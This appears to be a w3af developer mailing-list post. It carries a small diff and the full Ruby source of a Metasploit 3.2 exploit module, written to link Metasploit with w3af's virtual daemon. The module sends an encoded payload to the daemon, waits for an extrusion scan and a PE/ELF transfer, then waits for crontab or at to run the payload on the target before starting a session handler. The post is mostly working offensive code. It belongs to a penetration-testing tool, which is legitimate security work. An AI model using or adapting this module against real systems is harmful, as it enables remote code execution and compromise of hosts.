Andres et al, Please take a peak, I updated the code so that it now loads and conforms closer with Metasploit 3.2 framework specs. I'm sure there are other things that need updating, but at least now the framework loads the module and communicates with the virtual daemon.
Regards, -Adam
26d25 < module Msf 28c27 < class Exploits::Unix::Misc::W3af_vdaemon < Msf::Exploit::Remote --- > class Metasploit3 < Msf::Exploit::Remote 30c29 < include Exploit::Remote::Tcp --- > include Msf::Exploit::Remote::Tcp 139d137 < end
''' w3af_vdaemon.rb Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'w3af virtual daemon exploit', 'Description' => %q{ This module is used to link metasploit and w3af together. }, 'Author' => 'Andres Riancho', 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ ['URL', 'http://w3af.sourceforge.net/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'payload', }, 'Payload' => { 'Space' => 8000, 'DisableNops' => true, }, 'Targets' => [ ['Windows', { 'Platform' => 'win' } ], ['Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => true, 'DefaultTarget' => 0)) register_options( [ Opt::RHOST('172.16.1.128') ], self.class) deregister_options('RPORT') end def recvWaitTime( theSocket ) data = theSocket.get_once( 2 , 5 ) return data.to_i end def waitForData( waitTime, theSocket ) sleep( waitTime ) # This loop is to receive the "<go>" sent by w3af data = theSocket.get_once( 4 , 2 ) #print_status("Received outside the loop: #{data}") while data == nil print_status("Waiting...") data = theSocket.get_once( 4 , 2 ) #print_status("Received in loop: #{data}") end theSocket.put('<doneWaiting>') return data end def exploit # Connect to the vdaemon and send the payload vdaemonSock = connect(false, { 'RPORT' => 9091 , 'RHOST' => '127.0.0.1' }) # Say hi! vdaemonSock.put('<metasploit-w3af-link>') remoteIP = vdaemonSock.get_once print_status("The remote IP address is: #{remoteIP}") print_status("Using remote IP address to create payloads.") vdaemonSock.put(payload.encoded.length.to_s.rjust(4)) vdaemonSock.put(payload.encoded) print_status("Sent payload to vdaemon.") response = recvWaitTime( vdaemonSock ) print_status("The estimated time to wait for the extrusion scan to complete is: #{response} seconds.") waitForData( response, vdaemonSock ) print_status("Done waiting!") response = recvWaitTime( vdaemonSock ) print_status("The estimated time to wait for PE/ELF transfer is: #{response} seconds.") waitForData( response, vdaemonSock ) print_status("Done waiting!") # Get how much time to wait response = recvWaitTime( vdaemonSock ) # wait for the crontab/at to run print_status("Going to wait for #{response} seconds (waiting for crontab/at to execute payload).") print_status("The session could start before the handler, so please *be patient*.") #waitForData( response.to_i, vdaemonSock ) sleep( response.to_i ) print_status("Done waiting!") print_status("Starting handler") handler disconnect end end
------------------------------------------------------------------------------
_______________________________________________ W3af-develop mailing list W3af-develop@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/w3af-develop